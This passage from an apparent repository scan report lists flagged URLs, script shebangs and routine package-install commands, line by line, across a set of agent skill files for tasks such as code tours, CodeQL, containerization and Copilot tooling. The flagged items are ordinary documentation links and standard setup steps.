    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt

  • Network accessline 1
    Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/chaos-engineering/SKILL.md

  • Network accessline 141
    - [Principles of Chaos Engineering](https://principlesofchaos.org/)
  • Network accessline 142
    - [AWS Fault Injection Service](https://docs.aws.amazon.com/fis/latest/userguide/what-is.html)
  • Network accessline 143
    - [Azure Chaos Studio](https://learn.microsoft.com/en-us/azure/chaos-studio/chaos-studio-overview)
  • Network accessline 144
    - [Chaos Mesh](https://chaos-mesh.org/docs/)

harness/claude-code/skills/cloud-design-patterns/SKILL.md

  • Network accessline 115
    - [Cloud Design Patterns - Azure Architecture Center](https://learn.microsoft.com/azure/architecture/patterns/)
  • Network accessline 116
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/architecture/framework/)

harness/claude-code/skills/code-tour/SKILL.md

  • Network accessline 26
    - CodeTour files live in `.tours/` and use the VS Code CodeTour extension: https://github.com/microsoft/codetour.
  • Network accessline 111
    {   "$schema": "https://aka.ms/codetour-schema",
  • Network accessline 112
    "$schema": "https://aka.ms/codetour-schema",
  • Network accessline 135
    | Explain a function or class body | `selection` | Use when a block matters more than one line. | | Anchor volatile code | `pattern` | Regex must compile and match a real line in the file. | | Provide PR, issue, or doc context | `uri` | Com
  • Network accessline 136
    | Anchor volatile code | `pattern` | Regex must compile and match a real line in the file. | | Provide PR, issue, or doc context | `uri` | Complete real URL beginning with `https://`; examples include `https://{example-url}`. | | Focus a VS
  • Network accessline 137
    | Provide PR, issue, or doc context | `uri` | Complete real URL beginning with `https://`; examples include `https://{example-url}`. |
  • Network accessline 169
    | What to study | URL | | --- | --- | | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour |
  • Network accessline 170
    | --- | --- | | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour | | `selection` + `file+line` + intro content step | https://github.com/a11yproject/a11yproject.com/b
  • Network accessline 171
    | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour |
  • Network accessline 172
    | `selection` + `file+line` + intro content step | https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour |
  • Network accessline 173
    | Minimal tutorial with tight `file+line` narration | https://github.com/lostintangent/rock-paper-scissors/blob/master/main.tour |
  • Network accessline 174
    | Search for more `.tour` files | https://github.com/search?q=path%3A**%2F*.tour+&type=code |
  • Network accessline 176
    Raw content tip: prefix `raw.githubusercontent.com` and drop `/blob/` for raw JSON access. For public repositories, users can open tours at `https://vscode.dev/github.com/<owner>/<repo>`.
  • Network accessline 229
    ### Share and follow-up - Public URL: `https://vscode.dev/github.com/<owner>/<repo>` or not available
  • Network accessline 230
    - Public URL: `https://vscode.dev/github.com/<owner>/<repo>` or not available
  • Network accessline 241
    - [ ] Every `directory` path is relative to repo root and exists. - [ ] Every `pattern` regex compiles and matches a real line. - [ ] Every `uri` is a complete real URL beginning with `https://`.
  • Network accessline 242
    - [ ] Every `pattern` regex compiles and matches a real line. - [ ] Every `uri` is a complete real URL beginning with `https://`. - [ ] `ref` is a real branch, tag, or commit when set.
  • Network accessline 243
    - [ ] Every `uri` is a complete real URL beginning with `https://`.
  • Network accessline 254
    - [VS Code CodeTour extension](https://github.com/microsoft/codetour)
  • Network accessline 255
    - [CodeTour schema URL](https://aka.ms/codetour-schema)
  • Network accessline 256
    - [Code server contributing tour](https://github.com/coder/code-server/blob/main/.tours/contributing.tour)
  • Network accessline 257
    - [A11y project code tour](https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour)
  • Network accessline 258
    - [Rock paper scissors main tour](https://github.com/lostintangent/rock-paper-scissors/blob/master/main.tour)
  • Network accessline 259
    - [GitHub Code Search for tours](https://github.com/search?q=path%3A**%2F*.tour+&type=code)

harness/claude-code/skills/code-tour/references/codetour-schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-04/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-04/schema#",
  • Network accessline 59
    "uri": {             "type": "string",             "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs."
  • Network accessline 60
    "type": "string",             "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs."           },
  • Network accessline 61
    "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs."

harness/claude-code/skills/code-tour/references/examples.md

  • Network accessline 10
    **Tour file:** https://github.com/microsoft/codetour/blob/main/.tours/intro.tour
  • Network accessline 24
    "file": "src/player/index.ts",   "line": 436,   "description": "###  Tour Player\n\nThe CodeTour player ...\n\n![Architecture](https://raw.githubusercontent.com/{owner}/{repo}/main/overview.svg)\n\nSee also: [Gutter decorator](./src/player/
  • Network accessline 25
    "line": 436,   "description": "###  Tour Player\n\nThe CodeTour player ...\n\n![Architecture](https://raw.githubusercontent.com/{owner}/{repo}/main/overview.svg)\n\nSee also: [Gutter decorator](./src/player/decorator.ts)" }
  • Network accessline 26
    "description": "###  Tour Player\n\nThe CodeTour player ...\n\n![Architecture](https://raw.githubusercontent.com/{owner}/{repo}/main/overview.svg)\n\nSee also: [Gutter decorator](./src/player/decorator.ts)"
  • Network accessline 34
    **Tour file:** https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour
  • Network accessline 57
    **Tour file:** https://github.com/github/codespaces-codeql/blob/main/.tours/codeql-tutorial.tour
  • Network accessline 85
    **Tour file:** https://github.com/github/codespaces-learn-with-me/blob/main/.tours/main.tour
  • Network accessline 101
    **Tour file:** https://github.com/blackgirlbytes/copilot-todo-list/blob/main/.tours/main.tour
  • Network accessline 123
    **Tour files:** - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/function-tweet-retriever.tour
  • Network accessline 124
    - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/function-tweet-retriever.tour
  • Network accessline 125
    - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/oci-and-infrastructure-as-code.tour
  • Network accessline 126
    - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/build-and-deployment-pipeline-function-tweet-retriever.tour
  • Network accessline 165
    | `selection: {start, end}` | Highlight a block (function body, config section, type def) | a11yproject, oci-2021, codespaces-codeql | | `directory: "path/"` | Orient to a folder without reading every file | a11yproject, codespaces-codeql |
  • Network accessline 166
    | `directory: "path/"` | Orient to a folder without reading every file | a11yproject, codespaces-codeql | | `uri: "https://{example-url}"` | Link to PR, issue, RFC, ADR, external doc | Any PR review tour | | `nextTour: "Title"` | Chain tour
  • Network accessline 167
    | `uri: "https://{example-url}"` | Link to PR, issue, RFC, ADR, external doc | Any PR review tour |
  • Network accessline 177
    **Search all `.tour` files on GitHub:** https://github.com/search?q=path%3A**%2F*.tour+&type=code
  • Network accessline 178
    https://github.com/search?q=path%3A**%2F*.tour+&type=code
  • Network accessline 191
    - **DEV Community — "Onboard your codebase with CodeTour"**: https://dev.to/tobiastimm/onboard-your-codebase-with-codetour-2jc8
  • Network accessline 192
    - **Coder Blog — "Onboard to new projects faster with CodeTour"**: https://coder.com/blog/onboard-to-new-projects-faster-with-codetour
  • Network accessline 193
    - **CodeTour GitHub Topics**: https://github.com/topics/codetour

harness/claude-code/skills/code-tour/scripts/generate_from_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 234
    return {         "$schema": "https://aka.ms/codetour-schema",
  • Network accessline 235
    "$schema": "https://aka.ms/codetour-schema",

harness/claude-code/skills/code-tour/scripts/validate_tour.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 11
    - Directory paths that exist   - Pattern regexes that compile AND match at least one line   - URI format (must start with https://)
  • Network accessline 12
    - Pattern regexes that compile AND match at least one line   - URI format (must start with https://)   - nextTour matches an existing tour title in .tours/
  • Network accessline 13
    - URI format (must start with https://)
  • Network accessline 218
    uri = step["uri"]             if not uri.startswith("https://") and not uri.startswith("http://"):                 warnings.append(f"{label}: URI should start with https://: {uri!r}")
  • Network accessline 220
    warnings.append(f"{label}: URI should start with https://: {uri!r}")

harness/claude-code/skills/codeql/SKILL.md

  • Network accessline 28
    - Advanced setup uses `.github/workflows/codeql.yml` and may use `.github/codeql/codeql-config.yml`. - CLI uploads require `GITHUB_TOKEN` with `security-events: write` plus repository, ref, and commit metadata. - Use the CodeQL bundle from 
  • Network accessline 30
    - Use the CodeQL bundle from https://github.com/github/codeql-action/releases, not a standalone CLI download, so bundled queries and precompiled packs match the CLI.
  • Network accessline 243
    - [CodeQL Action releases](https://github.com/github/codeql-action/releases)

harness/claude-code/skills/codeql/references/cli-commands.md

  • Network accessline 9
    Always download the CodeQL bundle (CLI + precompiled queries) from: [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)
  • Network accessline 10
    [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)

harness/claude-code/skills/codeql/references/compiled-languages.md

  • Dangerous shell operationline 52
    - **Auto-install dependencies:** Set `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES=true` (enabled by default on GitHub-hosted; disabled on self-hosted). Requires Ubuntu with passwordless `sudo apt-get`.

harness/claude-code/skills/codeql/references/sarif-output.md

  • Network accessline 9
    - Specification: [OASIS SARIF v2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)
  • Network accessline 10
    - Schema: [sarif-schema-2.1.0.json](https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json)
  • Network accessline 258
    Validate SARIF files before upload using the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/).

harness/claude-code/skills/codeql/references/troubleshooting.md

  • Network accessline 241
    **Solutions:** - Validate against the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/)
  • Network accessline 242
    - Validate against the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/)

harness/claude-code/skills/commit-message-storyteller/SKILL.md

  • Network accessline 33
    Use https://www.conventionalcommits.org/ as the specification source. Read `references/conventional-commits-guide.md` when examples or scope guidance are needed.

harness/claude-code/skills/commit-message-storyteller/references/conventional-commits-guide.md

  • Network accessline 3
    Full spec: https://www.conventionalcommits.org/en/v1.0.0/

harness/claude-code/skills/competitor-ad-intelligence/SKILL.md

  • Network accessline 13
    Cross-platform. Uses web search and public ad libraries only; no API keys or credentials     required.   source: "https://github.com/gooseworks-ai/goose-skills"
  • Network accessline 14
    required.   source: "https://github.com/gooseworks-ai/goose-skills"   version: 1.0
  • Network accessline 15
    source: "https://github.com/gooseworks-ai/goose-skills"
  • Network accessline 66
    | Source | Direct URL or query | Collect | | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing p
  • Network accessline 67
    | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B va
  • Network accessline 68
    | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B variations |
  • Network accessline 69
    | Meta search | `web_search: site:facebook.com/ads/library "[competitor_name]"`; `web_search: "[competitor_name]" Meta Ad Library active ads`; `web_search: "[competitor_name]" facebook ads examples` | Publicly indexed ad examples and librar
  • Network accessline 70
    | Google Ads Transparency Center | `https://adstransparency.google.com/?search_text=<competitor_name>` | Headline variants, description lines, ad type, landing page URL, geographic targeting if visible | | Google search | `web_search: site:
  • Network accessline 289
    - [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)
  • Network accessline 290
    - [Meta Ad Library search pattern](https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>)
  • Network accessline 291
    - [Google Ads Transparency Center search pattern](https://adstransparency.google.com/?search_text=<competitor_name>)

harness/claude-code/skills/containerize-aspnet-framework/SKILL.md

  • Network accessline 97
    - The Windows Server SKU specified in containerization settings (Core or Full)    - The Windows Server version specified in containerization settings (2016, 2019, or 2022)    - Windows Server Core tags can be found at: https://github.com/mi
  • Network accessline 98
    - The Windows Server version specified in containerization settings (2016, 2019, or 2022)    - Windows Server Core tags can be found at: https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing 5. Ens
  • Network accessline 99
    - Windows Server Core tags can be found at: https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing
  • Network accessline 135
    - Copy the `LogMonitorConfig.json` file to a directory in the container (e.g., C:\LogMonitor)        - Download LogMonitor.exe from the Microsoft repository to the same directory            - The correct LogMonitor.exe URL is: https://githu
  • Network accessline 136
    - Download LogMonitor.exe from the Microsoft repository to the same directory            - The correct LogMonitor.exe URL is: https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe        - Set the work
  • Network accessline 137
    - The correct LogMonitor.exe URL is: https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe
  • Network accessline 334
    # Copy LogMonitor from the microsoft/windows-container-tools repository WORKDIR /LogMonitor RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe
  • Network accessline 335
    WORKDIR /LogMonitor RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe # Copy LogMonitorConfig.json from local files
  • Network accessline 336
    RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe
  • Network accessline 434
    - [ ] `docker build -t aspnet-app:latest .` was run, or the report explains why Docker build could not run in the current environment. ## References - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-
  • Network accessline 435
    ## References - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing) - [Windows container LogMonitor.exe](https://github.com/microsoft/windows-container
  • Network accessline 436
    - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing)
  • Network accessline 437
    - [Windows container LogMonitor.exe](https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe)

harness/claude-code/skills/containerize-aspnetcore/SKILL.md

  • Network accessline 26
    Use the user's request and the repository to identify the project path and settings. Defaults apply when the user omits a setting: .NET `8.0`, Linux distribution `debian`, no custom build/run base image, primary HTTP port `8080`, `ASPNETCOR
  • Network accessline 44
    Keep the original settings vocabulary when translating user input: `[square brackets]`, `File/directory`, `Files/directories`, `[ProjectName (provide path to .csproj file)]`, `[8.0 or 9.0 (Default 8.0)]`, `[Specify base image to use for bui
  • Network accessline 57
    3. Determine the .NET version by checking `TargetFramework`; map `net8.0` to `8.0` and `net9.0` to `9.0` unless the user overrides it. 4. Select valid Microsoft base images unless custom images are specified. Preserve these documentation so
  • Network accessline 58
    4. Select valid Microsoft base images unless custom images are specified. Preserve these documentation sources when choosing tags:    - SDK image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md    - ASP.NET Core runtim
  • Network accessline 59
    - SDK image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md
  • Network accessline 60
    - ASP.NET Core runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md
  • Network accessline 61
    - .NET runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md
  • Network accessline 74
    | Build configuration | Use `ARG BUILD_CONFIGURATION=Release`; pass `$BUILD_CONFIGURATION` to `dotnet build` and `dotnet publish` | | Runtime user | Use `USER $APP_UID` by default. Do not create a new user unless the settings require it | |
  • Network accessline 75
    | Runtime user | Use `USER $APP_UID` by default. Do not create a new user unless the settings require it | | URL binding | Set `ASPNETCORE_URLS=http://+:8080` unless the settings provide a different value | | Entry point | Use `ENTRYPOINT [
  • Network accessline 76
    | URL binding | Set `ASPNETCORE_URLS=http://+:8080` unless the settings provide a different value |
  • Network accessline 95
    COPY --from=build /app/publish . ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080
  • Network accessline 96
    ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080 EXPOSE 8080
  • Network accessline 97
    ENV ASPNETCORE_URLS=http://+:8080
  • Network accessline 98
    EXPOSE 8080 HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \     CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 99
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3      CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 100
    CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 109
    | Distribution | SDK example | ASP.NET runtime example | Package manager note | | --- | --- | --- | --- | | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-
  • Network accessline 110
    | --- | --- | --- | --- | | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget c
  • Dangerous shell operationline 111
    | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget ca-certificates libgdiplus 
  • Network accessline 111
    | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget ca-certificates libgdiplus 
  • Network accessline 112
    | Ubuntu 24.04 | `mcr.microsoft.com/dotnet/sdk:8.0-noble` or `9.0-noble` | `mcr.microsoft.com/dotnet/aspnet:8.0-noble` or `9.0-noble` | Use `apt-get` | | Alpine Linux | `mcr.microsoft.com/dotnet/sdk:8.0-alpine` or `9.0-alpine` | `mcr.micros
  • Network accessline 113
    | Alpine Linux | `mcr.microsoft.com/dotnet/sdk:8.0-alpine` or `9.0-alpine` | `mcr.microsoft.com/dotnet/aspnet:8.0-alpine` or `9.0-alpine` | `apk update && apk add --no-cache curl ca-certificates` |
  • Network accessline 115
    | Azure Linux / Mariner | Standard SDK image or approved custom image | `mcr.microsoft.com/dotnet/aspnet:8.0-azurelinux3.0` or `9.0-azurelinux3.0` | `tdnf update -y && tdnf install -y curl ca-certificates && tdnf clean all` |
  • Network accessline 234
    - [Microsoft .NET SDK image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md)
  • Network accessline 235
    - [Microsoft ASP.NET Core runtime image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md)
  • Network accessline 236
    - [Microsoft .NET runtime image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md)

harness/claude-code/skills/contract-testing/SKILL.md

  • Network accessline 134
    - [Pact documentation](https://docs.pact.io/)
  • Network accessline 135
    - [Pact Broker](https://docs.pact.io/pact_broker)
  • Network accessline 136
    - [can-i-deploy](https://docs.pact.io/pact_broker/can_i_deploy)

harness/claude-code/skills/conventional-branch/SKILL.md

  • Network accessline 149
    - [Conventional Branch](https://conventional-branch.github.io)
  • Network accessline 150
    - [Conventional Commits](https://www.conventionalcommits.org)

harness/claude-code/skills/convert-excel-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/claude-code/skills/convert-excel-to-md/scripts/convert_excel_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 64
    _REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 65
    _MAIN_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  • Network accessline 66
    _R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 67
    _A_NS = "http://schemas.openxmlformats.org/drawingml/2006/main"

harness/claude-code/skills/convert-pdf-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/claude-code/skills/convert-pdf-to-md/scripts/convert_pdf_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/convert-plaintext-to-md/SKILL.md

  • Network accessline 166
    - [GitHub basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
  • Network accessline 167
    - [Markdown Guide extended syntax](https://www.markdownguide.org/extended-syntax/)
  • Network accessline 168
    - [Azure DevOps Markdown guidance](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops)

harness/claude-code/skills/convert-word-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/claude-code/skills/convert-word-to-md/scripts/convert_word_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 53
    _W_NS = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 54
    _R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 55
    _REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"

harness/claude-code/skills/copilot-cli-quickstart/SKILL.md

  • Network accessline 164
    > Getting started is easy! Here's how:   >-  **Already have GitHub CLI?** `gh copilot` (built-in, no install needed)   >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`
  • Network accessline 165
    >-  **Already have GitHub CLI?** `gh copilot` (built-in, no install needed)   >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`   >-  **Requires:** A GitHub Copilot subscrip
  • Network accessline 166
    >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`
  • Network accessline 167
    >-  **Requires:** A GitHub Copilot subscription ([check here](https://github.com/settings/copilot))
  • Network accessline 197
    - **If subscription issues:** "It looks like Copilot might not be enabled for your account. Check [github.com/settings/copilot](https://github.com/settings/copilot) to confirm you have an active subscription. If you're in an organization, y

harness/claude-code/skills/copilot-cli-quickstart/references/extended-guide.md

  • Network accessline 465
    • /model — try different AI models    • /mcp — extend with MCP servers    • https://docs.github.com/copilot — official docs
  • Network accessline 467
    • https://docs.github.com/copilot — official docs
  • Network accessline 485
    • Try the Developer track for deeper skills    • /help — see ALL available commands    • https://docs.github.com/copilot — official docs
  • Network accessline 487
    • https://docs.github.com/copilot — official docs
  • Network accessline 496
    1. **Consult the latest docs** (for example, https://docs.github.com/copilot) or any available local documentation tools to ensure accuracy
  • Network accessline 545
    ### If `fetch_copilot_cli_documentation` fails or returns empty: - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "
  • Network accessline 546
    - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Never fabricate features or commands
  • Network accessline 547
    - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "

harness/claude-code/skills/copilot-pr-autopilot/SKILL.md

  • Network accessline 76
    | Issue | Resolution | | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surf
  • Network accessline 77
    | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message 
  • Network accessline 78
    | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message and stop. |
  • Network accessline 135
    - [GitHub CLI](https://cli.github.com)

harness/claude-code/skills/copilot-pr-autopilot/scripts/01-request-review.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 56
    # Link header looks like: `<https://api.github.com/...?per_page=100&page=4>; rel="last"`

harness/claude-code/skills/copilot-pr-autopilot/scripts/02-check-review-status.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/copilot-pr-autopilot/scripts/03-list-open-threads.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/copilot-pr-autopilot/scripts/08-reply-and-resolve.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/copilot-pr-autopilot/scripts/09-review-round.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/copilot-pr-autopilot/scripts/10-cleanup-outdated.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/copilot-pr-autopilot/scripts/_lib.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 47
    - winget install --id GitHub.cli           (Windows)   - brew install gh                          (macOS)   - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 48
    - brew install gh                          (macOS)   - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)   - https://cli.github.com/                  (universal installer + download)
  • Dangerous shell operationline 49
    - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 49
    - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 50
    - https://cli.github.com/                  (universal installer + download)

harness/claude-code/skills/copilot-sdk/SKILL.md

  • Network accessline 32
    1. **GitHub Copilot CLI** installed and authenticated ([Installation guide](https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli))
  • Network accessline 256
    - https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli

harness/claude-code/skills/copilot-sdk/references/extended-guide.md

  • Network accessline 350
    github: {             type: "http",             url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 351
    type: "http",             url: "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 352
    url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 364
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 365
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 366
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 378
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 379
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 380
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 395
    {             Type = "http",             Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 396
    Type = "http",             Url = "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 397
    Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 704
    - **GitHub Repository**: https://github.com/github/copilot-sdk
  • Network accessline 705
    - **Getting Started Tutorial**: https://github.com/github/copilot-sdk
  • Network accessline 706
    - **GitHub MCP Server**: https://github.com/github/github-mcp-server
  • Network accessline 707
    - **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers
  • Network accessline 708
    - **Cookbook**: https://github.com/github/copilot-sdk
  • Network accessline 709
    - **Samples**: https://github.com/github/copilot-sdk

harness/claude-code/skills/copilot-usage-metrics/get-enterprise-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/copilot-usage-metrics/get-enterprise-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/copilot-usage-metrics/get-org-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/copilot-usage-metrics/get-org-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/create-agentsmd/SKILL.md

  • Network accessline 19
    - "Generate coding agent instructions for my project." - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/."
  • Network accessline 20
    - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - "Document setup and test commands for agents."
  • Network accessline 21
    - "Make this repo follow https://agents.md/."
  • Network accessline 26
    - The target file is `AGENTS.md` at the repository root unless a monorepo subproject needs a closer nested `AGENTS.md`. - Follow the open AGENTS.md format at `https://agents.md/.`.
  • Network accessline 27
    - Follow the open AGENTS.md format at `https://agents.md/.`.
  • Network accessline 194
    - [AGENTS.md](https://agents.md/.)

harness/claude-code/skills/create-implementation-plan/SKILL.md

  • Network accessline 62
    The frontmatter `status` must be exactly one of `Completed`, `In progress`, `Planned`, `Deprecated`, or `On Hold`. The introduction must show a shields badge using `https://img.shields.io/badge/status-<status>-<status_color>`, where status 
  • Network accessline 79
    ![Status: <status>](https://img.shields.io/badge/status-<status>-<status_color>)

harness/claude-code/skills/create-llms/SKILL.md

  • Network accessline 4
